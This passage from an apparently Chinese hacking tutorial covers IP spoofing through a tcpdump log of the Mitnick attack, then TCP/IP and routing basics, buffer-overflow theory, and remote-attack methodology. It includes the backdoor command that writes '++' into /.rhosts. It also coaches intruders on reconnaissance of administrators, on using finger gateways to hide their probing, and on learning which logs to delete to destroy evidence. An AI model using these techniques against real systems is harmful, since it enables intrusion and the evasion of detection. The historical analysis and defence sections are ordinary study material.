           (5)最后再次伪装成被信任主机向目标机发送的ACK,此时发送的数据段带有预测的目标机的ISN+1;
           (6)连接建立,发送命令请求。
    五、具体实现过程:
           对于以上的理论,如何才能真正实现呢?现在我们共同看一下一次完整的IP欺骗攻击过程,并且将理论上升到实际应用中。下面的攻击过程是利用tcpdump 记录下来的,tcpdump是一个sniffer程序,用来纪录系统的各种细节问题,因此需要先说明一下有关纪录环境:
           Server:一台运行Solaris的Sparc工作站;
           x-terminal:被攻击的服务器;
           IP欺骗攻击开始于1994年12月25日 14:09:32 米特尼客的第一轮探测来自于一台名叫toad.com的主机,这显然是他事先攻破的一台系统,用来做跳板的,他在toad.com上运行了以下命令:
           toad.com#finger –l @target
           toad.com#finger –l @server
           toad.com#finger –l root@server
           toad.com#finger –l @x-terminal
           toad.com#shownoumt –e x-terminal
           toad.com#rpcinfo –p x-terminal
           toad.com#finger –l root@x-terminal
           这些命令的的作用显然是在探测攻击目标之间潜在的信任关系,因为只有在发现了信任关系才能进行IP欺骗。Showmount和rcpinfo的源端口探测又说明了攻击者已经得到了root权限。
           大约在六分钟之后,tcpdump检测到一阵急风暴雨般的TCP SYN包从130.92.6.7猛烈的涌向Server 的513(rlogin)端口。很显然,这是在使用SYN洪水拒绝服务攻击server,目的当然是让他失去工作能力了。这也就是前面提到的第一步。因为 513端口是以root权限运行的,所以现在server.login可以被用来作为进行IP欺骗的伪造源了。当然,这个的谓的攻击方 IP130.92.6.97 也是一个伪造的IP,这样它才不会接收到server的回应包。
           相关数据纪录:

               14:18:22:516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096
               14:18:22:566069 130.92.6.97.600 > server.login: S 1382726961:1382726961(0) win 4096
               14:18:22:744477 130.92.6.97.600 > server.login: S 1382726962:1382726962(0) win 4096
               14:18:22:830111 130.92.6.97.600 > server.login: S 1382726963:1382726963(0) win 4096
               14:18:22:886128 130.92.6.97.600 > server.login: S 1382726964:1382726964(0) win 4096
               14:18:22:943514 130.92.6.97.600 > server.login: S 1382726965:1382726965(0) win 4096
               14:18:23:002715 130.92.6.97.600 > server.login: S 1382726966:1382726966(0) win 4096
               14:18:23:103275 130.92.6.97.600 > server.login: S 1382726967:1382726967(0) win 4096
               14:18:23:162781 130.92.6.97.600 > server.login: S 1382726968:1382726968(0) win 4096
               14:18:23:225384 130.92.6.97.600 > server.login: S 1382726969:1382726969(0) win 4096
               14:18:23:282625 130.92.6.97.600 > server.login: S 1382726970:1382726960(0) win 4096
               14:18:23:342657 130.92.6.97.600 > server.login: S 1382726971:1382726961(0) win 4096
               14:18:23:403083 130.92.6.97.600 > server.login: S 1382726972:1382726962(0) win 4096
               14:18:23:903700 130.92.6.97.600 > server.login: S 1382726973:1382726963(0) win 4096
               14:18:24:003252 130.92.6.97.600 > server.login: S 1382726974:1382726964(0) win 4096
               14:18:24:084827 130.92.6.97.600 > server.login: S 1382726975:1382726965(0) win 4096
               14:18:24:142774 130.92.6.97.600 > server.login: S 1382726976:1382726966(0) win 4096
               14:18:24:203195 130.92.6.97.600 > server.login: S 1382726977:1382726967(0) win 4096
               14:18:24:294773 130.92.6.97.600 > server.login: S 1382726978:1382726968(0) win 4096
               14:18:24:382841 130.92.6.97.600 > server.login: S 1382726979:1382726969(0) win 4096
               14:18:24:443309 130.92.6.97.600 > server.login: S 1382726980:1382726960(0) win 4096
               14:18:24:643249 130.92.6.97.600 > server.login: S 1382726981:1382726961(0) win 4096
               14:18:24:906546 130.92.6.97.600 > server.login: S 1382726982:1382726962(0) win 4096
               14:18:24:963786 130.92.6.97.600 > server.login: S 1382726983:1382726963(0) win 4096
               14:18:25:022853 130.92.6.97.600 > server.login: S 1382726984:1382726964(0) win 4096
               14:18:25:153536 130.92.6.97.600 > server.login: S 1382726985:1382726965(0) win 4096
               14:18:25:400869 130.92.6.97.600 > server.login: S 1382726986:1382726966(0) win 4096
               14:18:25:483127 130.92.6.97.600 > server.login: S 1382726987:1382726967(0) win 4096
               14:18:25:599582 130.92.6.97.600 > server.login: S 1382726988:1382726968(0) win 4096
               14:18:25:653131 130.92.6.97.600 > server.login: S 1382726989:1382726969(0) win 4096

           server 在连接序例被塞满之前对前八个SYN请求做出了SYN+ACK回应,一旦没有ACK包来回应它,server将周期性地重发SYN+ACK包。接下来有 20个从apollo.it.luc.edu发出的连接请求被送往x-terminal.shell,这些连接请求的目的是预测server的TCP序例号生成器的行为。可以注意到每一个连接的初始序例号的增量提示了SYN包不是通过系统的TCP执行产生的。攻击者立刻用RST包来断开x- terminal发来的SYN+ACK包,以使x-terminal的连接序例不至于被塞满,因为毕竟x-terminal是黑客所要攻击的目标,x- terminal发出的每一个SYN+ACK包的初始序例号都比前一个增加了128,000字节。
           Server.lgoin的伪造SYN请求发往了x-terminal.shell。推断x-terminal可信任server,所所以会响应来自 server 或者伪装成server的主机的所有请求。然后就是,x-terminal用SYN+ACK包回应了server的连接请求,这时因为server仍然处于瘫痪状态,所以它当然不会响应任何来自于x-terminal的包。正常情况下SYN+ACK包是用来期待正确的ACK确认包的,但是攻击者能够预测出 x-terminal的TCP序例号生成器的包含SYN+ACK的序例号,所以他不用看到SYN+ACK就可以发出回应的ACK包,如下:
    14:18:36.245045 server.login > x-terminal.shell: S 1382727010(0) win 4906
    14:18:36.755522 server.login >x-terminal.shell .ack 2024384001 win 4096
           到目前为止,伪装成server的主机已经通过 IP欺骗与x-terminal.shell建立了一次正常的rsh连接,这时一旦x-terminal做出任何应答,攻击者就可以维持连接并且发送出数据,下面他发送了如下数据:
    14:18:37.265404 server.login > x-terminal.shell: P 0:2(2)ack 1 win 4906
    14:18:37.775872 server.login > x-terminal.shell: P 2:7(5)ack 1 win 4906
    14:18:37.287404 server.login > x-terminal.shell: P 7:32(25)ack 1 win 4906
           这些数据是由tcpdump记录下来的,对应的命令其实就是:server#rsh x-terminal “echo ++ >>/.rhosts”
           即在x-terminal上建立起使得任何主机都可以无须口令而行访问的/.rhosts文件,然后断开连接。
           上面的整个过程看上去好像很多,但实际从发送第一个数据包,到发送最后一个数据包仅仅用了16秒!这一过程只不过是运行了事先写好的程序而已。
    六、防备IP欺骗攻击:
           对于来自网络外部的欺骗,防范的方法很简单,只需要在局域网的对外路由器上加一个限制设置就可以实现了,在路由器的设置里面禁止运行声称来自于网络内部的信息包。
           对于来自局域网外部的IP欺骗攻击的防范则可以使用防火墙进行防范,但是对于来自内部的攻击通过设置防火墙则起步到什么作用,这个时候应该注意内部网的路由器是否支持内部接口。如果路由器支持内部网络子网的两个接口,则必须提高警惕,因为它很容易受到IP欺骗,这也正是为什么Web服务器放在防火墙外面更加安全的原因。
           通过对信息包的监控来检查IP欺骗攻击将是非常有效的方法,使用netlog等信息包检查工具对信息的源地址和目的地址进行验证,如果发现了信息包来自两个一上的不同地址,则说明系统有可能受到了IP欺骗攻击,防火墙外面正有黑客试图入侵系统。

    第二节、TCP、IP协议的简单说明
           TCP/IP(传输入控制地议/网际协议)是一种网络通信协议,它规范了网络上的所有通信设备,尤其是一个主机与另一个主机之间的数据传输格式以及传送方式。TCP/IP是因特网的基础协议。要想当黑客就有必要了解TCP/IP协议。
           在数据传送中,可以形象的理解为有两个信封:TCP和IP信封。要送递的信息被分成若干段,每一段塞入一个TCP信封,并在该信封上记录有分段号的信息,再将TCP信封塞入IP大信封里,发送到网上。在扫收端,一个TCP软件包收集信封,抽出数据,按发送关的顺序还原,并加以校验,若发现差错,TCP将会要求重发。因此TCP/IP在因特网中几乎可以无差错地传送数据。对因特网用户来说,并不需要了解网络协议的整个结构,仅需了解IP的地址格式,即可与世界各地进行网络通信。
           TCP/IP协议组中的协议因特网上数据的传输,提供了几乎目前上网所用到的所有服务。在TCP/IP协议组中有两种协议:
           1、网络层协议:
           网络层协议管理离散计算机间的数据传输。这些协议用户注意不到,它们是个系统表层以下工作的。比如,IP协议为用户和远程计算机提供了信息包的传输方法,它是在许多信息的基础上工作的。比如机器的IP地址。在机器的IP地址和其他信息的基础上,IP确保信息包正确达到目的机器。通过这一过程,IP和其他网络层的协议一共同用于数据传输。如果没有网络工具,用户就看不到在系统里工作的机器的IP。
           2、应用层协议:
           相反地,应用层协议是可以看到的。比如,文件传输协议(FTP)是可以看到的。用户为了传一个文件而请求一个和其他计算机连接,连接建立后,就开始传输文件,在传输时,用户和远程计算机的交换的一部分是能看到的。TCP/IP的重要协议:
           (1)、地址解析协议(ARP)
           在网络上进行通信的主机必须知道对方主机的硬件地址(网卡的物理地址)。地址解析协议的目的就是将IP地址映射成物理地址。这在使信息通过网络时特别重要。一个消息(或者其他数据)在发送之前,被打包到IP包里面,或适合于因特网传输信息块中,其中包括两台计算机的IP地址。在这个包离开发送计算机前,必须找到目标的硬件地址,这就是ARP最初到达的地方。
           一个ARP请求消息会在网上广播。请求由一个进程接收,它回复物理地址。这个回复消息由原先的那台发送广播消息的计算机接收,从而传输过程就开始了。
           ARP的设计包括一个缓存。为了减少广播量,ARP在缓存中保存地址映射以备后用。ARP级存保存有动态项和静态项。动态项是自动加和删除的,静态项则是保留在缓存(Cache)中,直到计算机重启为止。ARP缓存总是为本地子网保留硬件广播地址(0xffffffffffffh)用为一个永久项,此项使主机能够接收ARP广播。当果看存时,该项不会显示。每条ARP缓存记录的生命周期为10分种,如果2分种未用则删除。缓存容量满时,删除最早的记录,但是,缓存也引起了安全性的问题。那就是缓存溢出——这不是本文的讨论内容,所以就不说了。
           (2)、因特网控制消息协议(ICMP)
           因特网控制消息协议(ICMP)用于报告错误并IP对消息进行控制。IP运用互联组管理协议(IGMP)来告诉路由器某一网络上指导组中有哪些可用主机。
           以ICMP实现的最著名的网络工具是Ping。Ping通常用来判断一台远程机器是否正开着,数据包从用户的计算机发到远程计算机,这些包通常返回到用户的计算机,如果数据据包没有返回到用户计算机,Ping程序就产生一个表示远程计算机关机的错误消息。

    第三节、IP网络路由技术简介
           基于TCP/IP协议的Internet已逐步发展成为当今世界上规模最大、拥有用户和资源最多的一个超大型计算机网络,TCP/IP协议也因此成为事实上的工业标准。IP网络正逐步成为当代乃至未来计算机网络的主流。IP网络是由通过路由设备互连起来的IP子网构成的,这些路由设备负责在IP子网间寻找路由,并将IP分组转发到下一个IP子网。
    一、IP地址:
           IP地址是IP网络中数据传输的依据,它标识了IP网络中的一个连接,一台主机可以有多个IP地址。IP分组中的IP地址在网络传输中是保持不变的。
           1.基本地址格式:
           现在的IP网络使用32位地址,以点分十进制表示,如172.16.0.0。地址格式为:IP地址=网络地址+主机地址或IP地址=主机地址+子网地址+主机地址。网络地址是由Internet权力机构(InterNIC)统一分配的,目的是为了保证网络地址的全球唯一性。主机地址是由各个网络的系统管理员分配。因此,网络地址的唯一性与网络内主机地址的唯一性确保了IP地址的全球唯一性。
           2.保留地址的分配:
           根据用途和安全性级别的不同,IP地址还可以大致分为两类:公共地址和私有地址。公用地址在Internet中使用,可以在Internet中随意访问。私有地址只能在内部网络中使用,只有通过代理服务器才能与Internet通信。一个机构或网络要连入Internet,必须申请公用IP地址。但是考虑到网络安全和内部实验等特殊情况,在IP地址中专门保留了三个区域作为私有地址,其地址范围如下:
           10.0.0.0/8:10.0.0.0~10.255.255.255 172.16.0.0/12:172.16.0.0~172.31.255.255 192.168.0.0/16:192.168.0.0~192.168.255.255
           使用保留地址的网络只能在内部进行通信,而不能与其他网络互连。因为本网络中的保留地址同样也可能被其他网络使用,如果进行网络互连,那么寻找路由时就会因为地址的不唯一而出现问题。但是这些使用保留地址的网络可以通过将本网络内的保留地址翻译转换成公共地址的方式实现与外部网络的互连。这也是保证网络安全的重要方法之一。  
    二、无类域间路由(CIDR):
           由于每年连入Internet的主机数成倍增长,因此Internet面临B类地址匮乏、路由表爆炸和整个地址耗尽等危机。无类域间路由(CIDR)就是为解决这些问题而开发的一种直接的解决方案,它使Internet得到足够的时间来等待新一代IP协议的产生。
           按CIDR策略,可采用申请几个C类地址取代申请一个单独的B类地址的方式来解决B类地址的匮乏问题。所分配的C类地址不是随机的,而是连续的,它们的最高位相同,即具有相同的前缀,因此路由表就只需用一个表项来表示一组网络地址,这种方法称为“路由表聚类”。
           另外,除了“路由表聚类”措施外,还可以由每个ISP从InterNIC获得一段地址空间后,再将这些地址分配给用户。  
    三、路由选择技术:
           IP网络中的路由选择是由路由设备完成的。路由器通过执行一定的路由协议,为IP数据报寻找一条到达目的主机或网络的最佳路由,并转发该数据报,实现路由选择。
           1.路由协议路由协议分为两大类:
           路由选择协议(Routing Protocol)这类协议使用一定的路由算法找出到达目的主机或网络的最佳路径,如RIP(路由信息协议)等。
           路由传送协议(Routed Protocol)这类协议沿已选好的路径传送数据报,如通过IP协议能将物理连接转变成网络连接,实现网络层的主要功能——路由选择。
           2.直连路由与非直连路由
           IP协议是根据路由来转发数据的。路由器中的路由有两种:直连路由和非直连路由。
           路由器各网络接口所直连的网络之间使用直连路由进行通信。直连路由是在配置完路由器网络接口的IP地址后自动生成的,因此,如果没有对这些接口进行特殊的限制,这些接口所直连的网络之间就可以直接通信。
           由两个或多个路由器互连的网络之间的通信使用非直连路由。非直连路由是指人工配置的静态路由或通过运行动态路由协议而获得的动态路由。其中静态路由比动态路由具有更高的可操作性和安全性。
           IP网络已经逐渐成为现代网络的标准,用IP协议组建网络时,必须使用路由设备将各个IP子网互连起来,并且在IP子网间使用路由机制,通过IP网关互连形成层次性的网际网。

    第四节、缓冲区溢出攻击
           缓冲区溢出是一种在各种操作系统、应用软件中广泛存在普遍且危险的漏洞,利用缓冲区溢出攻击可以导致程序运行失败、系统崩溃等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。第一个缓冲区溢出攻击--Morris蠕虫,发生在十年前,它曾造成了全世界6000 多台网络服务器瘫痪。
    一、 缓冲区溢出的原理:
           当正常的使用者操作程序的时候,所进行的操作一般不会超出程序的运行范围;而黑客却利用缓冲长度界限向程序中输入超出其常规长度的内容,造成缓冲区的溢出从而破坏程序的堆栈,使程序运行出现特殊的问题转而执行其它指令,以达到攻击的目的。造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数,属于程序开发过程考虑不周到的结果。
           当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell执行其它命令。如果该程序属于 root且有suid权限的话,攻击者就获得了一个有root权限的shell,可以对系统进行任意操作了。
           缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞普遍并且易于实现。而且缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。
           在1998年Lincoln实验室用来评估入侵检测的的5种远程攻击中,有2种是缓冲区溢出。而在1998年CERT的13份建议中,有9份是是与缓冲区溢出有关的,在1999年,至少有半数的建议是和缓冲区溢出有关的。在Bugtraq的调查中,有2/3的被调查者认为缓冲区溢出漏洞是一个很严重的安全问题。
           缓冲区溢出漏洞和攻击有很多种形式,会在第二节对他们进行描述和分类。相应地防卫手段也随者攻击方法的不同而不同,将在第四节描述,它的内容包括针对每种攻击类型的有效的防卫手段。
    二、缓冲区溢出的漏洞和攻击:
           缓冲区溢出攻击的目的在于扰乱具有某些特权运行的程序的功能,这样可以使得攻击者取得程序的控制权,如果该程序具有足够的权限,那么整个主机就被控制了。它的具体实现过程是这样的:首先攻击者对ROOT程序进行试探性攻击,然后执行类似“exec(sh)”的执行代码来获得具有root权限的shell。为了达到这个目的,攻击者必须达到如下的两个目标:
           1、在程序的地址空间里安排适当的代码;
           2、通过适当的初始化寄存器和内存,让程序跳转到入侵者安排的地址空间执行。
           根据这两个目标来对缓冲区溢出攻击进行分类,缓冲区溢出攻击分为代码安排和控制程序执行流程两种方法:
           1、在程序的地址空间里安排适当的代码的方法:
           (1)植入法:
           攻击者向被攻击的程序输入一个字符串,程序会把这个字符串放到缓冲区里。这个字符串包含的资料是可以在这个被攻击的硬件平台上运行的指令序列。在这里,攻击者用被攻击程序的缓冲区来存放攻击代码。缓冲区可以设在任何地方:堆栈(stack,自动变量)、堆(heap,动态分配的内存区)和静态资料区。
           (2)利用已经存在的代码:
           有时攻击者想要的代码已经在被攻击的程序中了,攻击者所要做的只是对代码传递一些参数。例如攻击代码要求执行exec (“/bin/sh”),而在libc库中的代码执行exec (arg),其中arg使一个指向一个字符串的指针参数,那么攻击者只要把传入的参数指针改向指向/bin/sh。
           2、控制程序转移到攻击代码的方法:
           所有的这些方法都是在寻求改变程序的执行流程,使之跳转到攻击代码。最基本的就是溢出一个没有边界检查或者其它弱点的缓冲区,这样就扰乱了程序的正常的执行顺序。通过溢出一个缓冲区,攻击者可以用暴力的方法改写相邻的程序空间而直接跳过了系统的检查。
           分类的基准是攻击者所寻求的缓冲区溢出的程序空间类型。原则上是可以任意的空间。实际上,许多的缓冲区溢出是用暴力的方法来寻求改变程序指针的。这类程序的不同之处就是程序空间的突破和内存空间的定位不同。主要有以下三种: 1、活动纪录(Activation Records):
           每当一个函数调用发生时,调用者会在堆栈中留下一个活动纪录,它包含了函数结束时返回的地址。攻击者通过溢出堆栈中的自动变量,使返回地址指向攻击代码。通过改变程序的返回地址,当函数调用结束时,程序就跳转到攻击者设定的地址,而不是原先的地址。这类的缓冲区溢出被称为堆栈溢出攻击(Stack Smashing Attack),是目前最常用的缓冲区溢出攻击方式。
           3、函数指针(Function Pointers):
           函数指针可以用来定位任何地址空间。例如:“void (* foo)()”声明了一个返回值为void的函数指针变量foo。所以攻击者只需在任何空间内的函数指针附近找到一个能够溢出的缓冲区,然后溢出这个缓冲区来改变函数指针。在某一时刻,当程序通过函数指针调用函数时,程序的流程就按攻击者的意图实现了。它的一个攻击范例就是在Linux系统下的 superprobe程序。
           4、长跳转缓冲区(Longjmp buffers):
           在C语言中包含了一个简单的检验/恢复系统,称为setjmp/longjmp。意思是在检验点设定“setjmp(buffer)”,用 “longjmp(buffer)”来恢复检验点。然而,如果攻击者能够进入缓冲区的空间,那么“longjmp(buffer)”实际上是跳转到攻击者的代码。象函数指针一样,longjmp缓冲区能够指向任何地方,所以攻击者所要做的就是找到一个可供溢出的缓冲区。一个典型的例子就是Perl 5.003的缓冲区溢出漏洞;攻击者首先进入用来恢复缓冲区溢出的的longjmp缓冲区,然后诱导进入恢复模式,这样就使Perl的解释器跳转到攻击代码上了。
           2、代码植入和流程控制技术的综合分析:
           最简单和常见的缓冲区溢出攻击类型就是在一个字符串里综合了代码植入和活动纪录技术。攻击者定位一个可供溢出的自动变量,然后向程序传递一个很大的字符串,在引发缓冲区溢出,改变活动纪录的同时植入了代码。这个是由Levy指出的攻击的模板。因为C在习惯上只为用户和参数开辟很小的缓冲区,因此这种漏洞攻击的实例十分常见。
           代码植入和缓冲区溢出不一定要在在一次动作内完成。攻击者可以在一个缓冲区内放置代码,这是不能溢出的缓冲区。然后,攻击者通过溢出另外一个缓冲区来转移程序的指针。这种方法一般用来解决可供溢出的缓冲区不够大(不能放下全部的代码)的情况。
           如果攻击者试图使用已经常驻的代码而不是从外部植入代码,他们通常必须把代码作为参数调用。举例来说,在libc(几乎所有的C程序都要它来连接)中的部分代码段会执行“exec(something)”,其中somthing就是参数。攻击者然后使用缓冲区溢出改变程序的参数,然后利用另一个缓冲区溢出使程序指针指向libc中的特定的代码段。
    三、 缓冲区溢出攻击的实验分析:
           2000年1月,Cerberus 安全小组发布了微软的IIS 4/5存在的一个缓冲区溢出漏洞。攻击该漏洞可以使Web服务器崩溃,甚至获取超级权限执行任意的代码。目前微软的IIS 4/5 是一种主流的Web服务器程序;因而该缓冲区溢出漏洞对于网站的安全构成了极大的威胁;它的描述如下:
           浏览器向IIS提出一个HTTP请求,在域名(或IP地址)后,加上一个文件名,该文件名以“.htr”做后缀。于是IIS认为客户端正在请求一个 “.htr”文件,“.htr”扩展文件被映像成ISAPI(Internet Service API)应用程序,IIS会复位向所有针对“.htr”资源的请求到 ISM.DLL程序 ,ISM.DLL 打开这个文件并执行之。
           浏览器提交的请求中包含的文件名存储在局部变量缓冲区中,若它很长(超过600个字符时),会导致局部变量缓冲区溢出,覆盖返回地址空间使IIS崩溃。更进一步在2K缓冲区中植入一段精心设计的代码,可以使之以系统超级权限运行。
    四、缓冲区溢出攻击的防范方法:
           缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权。如果能有效地消除缓冲区溢出的漏洞,则很大一部分的安全威胁可以得到缓解。
           目前有三种基本的方法保护缓冲区免受缓冲区溢出的攻击和影响:
           1、通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;
           2、强制写正确的代码的方法;
           3、利用编译器的边界检查来实现缓冲区的保护,使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁

    第五节、远程攻击
    一、什么是远程攻击:
           一个远程攻击是这样一种攻击,其攻击对象是攻击者还无法控制的计算机;也可以说,远程攻击是一种专门攻击除攻击者自己计算机以外的计算机(无论被攻击的计算机和攻击者位于同一子网还是有千里之遥)。“远程计算机”此名词最确切的定义是:“一台远程计算机是这样一台机器,它不是你正在其上工作的平台,而是能利用某协议通过Internet网或任何其他网络介质被使用的计算机”。
    二、远程攻击过程:
           进行远程攻击的第一步并不需要和攻击目标进行密切地接触(换句话说,如果入侵者聪明的话,那第一步可以不要)。入侵者的第一个任务(在识别出目标机及其所在的网络的类型后)是决定他要对付谁。此类信息的获得毋需干扰目标的正常工作(假设目标没有安装防火墙。因为大部分的网络都没有安装防火墙,长期以来一直如此)。此类的某些信息可通过下面的技术获得:
           1、运行一个查询命令host。通过此命令,入侵者可获得保存在目标域服务器中的所有信息。其查询结果所含信息量的多少主要依靠于网络的大小和结构。
           2、WHOIS查询。此查询的方法可识别出技术管理人员。这类信息也被认为是无用的。实际上不然。因为通常技术管理人员需要参与目标网的日常管理工作,所以这些人的电子邮件地址会有些价值(而且同时使用host和WHOIS查询有助于你判断目标是一个实实在在的系统还是一个页结点,或是由另一个服务形成的虚拟的域等等)。
           3、运行一些Usenet和WEB查询。在入侵者和目标进行实际接触之前,他还有许多查询工作要做。其中之一就是查询某位技术管理人员的名字信息(使用强制的、区分大小写的、完全匹配用的条件查询)。通过些查询入侵者可了解这些系统管理员和技术管理员是否经常上Usenet。同样,也可在所有可用的安全邮件列表的可查询集合中查询他们的地址。
           “你应该如何做呢?首先试着收集目标的信息。有许多网络服务可于此目的,finger、showmount和rpcinfo都是好的起点。但不要停滞于此,你还能利用DNS、Whois、Sendmail(smtp)、ftp、uucp和其他的可用的各种服务。”
           收集系统管理员的相关信息是最为重要的。系统管理员的职责是维护站点的安全,当他们遇到各种问题时,许多管理员会迫不及待地将这些问题发到Usenet或邮件列表上以寻求答案。
           只要肯花一定时间来寻找此系统管理员的地址(和其他的一些信息),你便能彻底地了解他的网络、他的安全概念以及他的个性。因为发出这种邮件的系统管理员总会指明他们的组织结构、网络的拓朴结构和他们面临的问题。
           注意:对Windows NT网络进行攻击却截然不同。你必须一直跟踪每台机器上的根帐号(或者说系统管理员帐号)。因为NT并未设计出su等命令,用以完面只有根帐号才能完成的任务。而且NT上系统管理员帐号和UNIX上的根帐号有着极大的差异。因为不直接被使用根帐号,所以系统管理员的ID可为任何字符串。让我们假设你知道那个 ID:walrus。进一步假设通过host查询命令,你得到了150台计算机的有关信息,其中包括每台计算机的名字。例如,他们可以是 ail.victim.net、news.victim.net、shell.victim.net、cgi.victim.net等等(尽管在实践中,它们可能会有“主题”名,从而使外人不知道某台机器负担何种工作,如sabertooth.victim.net、bengal.victim.net 等)。
           入侵者应该在每台机器上试一试管理员的地址。例如,他会试一试walrus@shell.victim.netwalrus@sabertooth.victim.net等。换句话说,除了在网络的每台计算机上尝试管理员的地址,还要在每台计算机上尝试所有的具有普遍性的东西。也许可以发现walrus喜欢用的计算机,所在信件都是从这台计算机邮出的。
           请注意,如果目标是一个服务提供者(或者允许用户对它进行合法访问的系统),那么通过观察系统管理员从哪进入系统能获得此管理员的更多信息。一般从外部联合使用finger和rusers命令即可获得这些信息。换句话说,你要一直留意外部网(除目标网以外的网,在这些网络上那个系统管理有一些帐号),如果他最近的一次登录是在Netcom,跟踪他在Netcom帐号一天左右,看看会发生什么。
    三、关于finger查询:
           finger很可能暴露你的行为,为了避免finger查询产生标记,绝大多数入侵者使用finger gateways(finger网关)。finger网关是一些WEB主页,通常包含了一个简单的输入框(field),此框指向在远地服务器硬盘上的一个CGI程序。此远程服务器执行finger查询。
           下面提供了此类finger网关的一个例子:
        http://www.hgp.med.umich.edu/cgi-bin/finger
    四、操作系统:
           也许你已经使用了各种方法(包括在上文中所提及的方法和另外一些方法)来识别在目标网络上使用的操作系统的类型的版本。无论如何,一旦判断出目标网络上的操作系统和结构是多样的,下一步的研究工作就可以进行了。首先作一张表,列出每个操作系统和机器的类型(这张表对于你进一步进行研究有极大地帮助),然后对每个平台进行研究并找出它们中的漏洞。
           知道操作系统后可到如下地址查找相关的安全报告:
        http://info.arc.com/sec_bull/sec_bullsearch.html
    五、进行测试:
           实际上只有那些对入侵极热衷的入侵者才会做攻击过程中测试部分。大部分的入侵者并不想尝试这种行为,因为这需要一定的费用。然而我却推荐入侵者不要跳过此步骤。
           在此步骤中,首先要建立一个和目标一样的环境。一旦将此环境建立起来后,你就可对它进行一系列的攻击。在此过程中,有两件事需要注意:
           1、从攻击方来看这些攻击行为看上去像什么
           2、从受攻击方来看这些攻击行为看上去像什么
           通过检查攻击方的日志文件,入侵者能大致了解对一个几乎没有保护措施的目标进行攻击时攻击行为看上去像什么(目标没有保护措施是指目标机上没有运行传统的守护程序)。这能给入侵者提供一些提示;如果真正的攻击行为和实验结果不一致,那么一定存在着某些原因。一台相同配置的机器(或者,我应说成一台配置明显一致的机器)在相同的攻击下应产生相同的反应。如果结果并非如此,那说明管理目标机的人暗中已有了应急计划。在这种情况下,入侵者应谨慎行动。
           通过检查被攻击方的日志,入侵者可了解攻击过程中留下的“痕迹”看上去像什么。这对入侵者来说很重要。在一个异构系统中,存在着不同的日志过程。入侵至少应该知道这些日志过程是什么,换句话说,他需要了解保存入侵“痕迹”的每个文件(在相同配置的计算机上)。这些信息是至关重要的,并具有指导作用:它能告诉入侵者删除哪些文件来毁灭其入侵的证据。找到这些文件的唯一方法就是在自己控制的环境中进行测试并检查日志。
    六、和漏洞及其他重要特征有关的各种工具:
           紧接着,你收集各种实际使用的工具,这些工具最有可能是一些扫描工具。你应该至少判断出目标网上的所有设备。基于你对操作系统的分析(和其他我曾在本章里提到过的各种软件),你需要对你的工具进行评估以判断有哪些漏洞和区域它们没有覆盖到。
           只用一个工具而不用另一个工具就可覆盖某特定设备的情况下,最好还是同时使用这两个工具。这些工具的联合使用是否方便主要依赖于这些工具是否能简易地作为外部模块附加到一个扫描工具上,如SATAN或SAFESuite。在此测试变行极为有价值,因为在多数情况下。附加一个外部模块并让它正常地工作并不那么简单。为了得到这些工具工作的确切结果,最好先在某台机器上进行实验(这台机器甚至可和目标机不同)。这是因为。我们想知道是否会由于加上两个或多个单独设计的模块而使扫描工具的工作突然被中断或失败。记住实际的扫描攻击过程只能一气呵成,如果中间被打断,那你不会有第二次机会。于是,根据你想在目标机上得到的东西,你可挑选一些合适的工具。在某些情况下,这是一件轻松的事。例如,也许你已经知道在目标系统上的某人正通过网络运行着一些X窗口系统的应用软件。在此种情况下,如果你搜索Xhost的漏洞,一定能有所收获。
           记住使用扫描工具是一种激烈的解决方案。它等于是在大白天拿着棍冲到某户人家,去试着撬所有的门和窗。只要此系统的管理员适度地涉猎过一些安全话题,那你的行为在他面前会暴露无疑。
    七、形成一个攻击策略:
           在Internet漫游过程中攻击这台或那台服务器的日子基本上已经过去。多年前,只要系统没有遭到破坏,突破系统安全的行为办被看用一种轻微的越界行为。如今,形势则大不相同。今天,数据的价值成为了谈论的焦点。因此作为现代入侵者,没有任何理由就实施入侵是很不明智的。反过来,只有制定了一个特定计划再开始进入入侵才是明智之举。
           你的攻击策略主要依赖于你所想要完成的。我们假设你手边的任务基本上就是攻破某系统的安全措施。如果这是你的计划,那么你需要计划如何完成此次攻击。扫描时间花得越长(越多的机器被涉及在内),越有可能被发现;同时越多的扫描数据需要你筛选,而基于这些扫描数据进行的攻击需花费的时间越长。我曾经提过,扫描的攻击的时间越短越好。
           因此一些事变行很明显(或理所应当)了,一旦通过收集到的数据你判断出网络的某部分和整个网络是通过路由器、交换机、桥或其他设备分隔的,那么你可能应该把它排除在被扫描的对象之外。毕竟攻破这些系统而获得的收益可能微乎其微。假定你获得此网段上的某系统的根权限,你想你能得到什么呢?你能轻松地穿过路由器、桥或交换机吗?恐怕不能!因此,Sniffing只能提供此网段上其他计算机的相关信息,欺骗方法也只能对此网段内的机器有效。因为你所想要的一个主系统上(或者是一个可用的最大网段)的根权限,所以对一个更小、更安全的网络进行扫描不可能获得很大的好处。
           注意:当然,如果这些机器(无论是何种原因)碰巧是那些唯一不受保护的机器,那就应该采取一切可能的方法攻击它们(除非它们真的毫无价值)。例如,通常会把一个web服务器放在网络防火墙之外或使其成为唯一一台可从外面访问的机器。除非行为的目的是为了入侵此web服务器(并带给此web服务器的管理者一些有限的、公共的麻烦),否则不要去骚扰它。这些机器都是作为典型的牺牲物--那系统管理员已经估计到此机器会被远程攻击成功地攻陷,因此此计算机的硬盘上除了主页外几乎没有其他数据可用。
           无论如何,一旦你确定了扫描的参数,就可以开始行动了。
    八、关于扫描的时间:
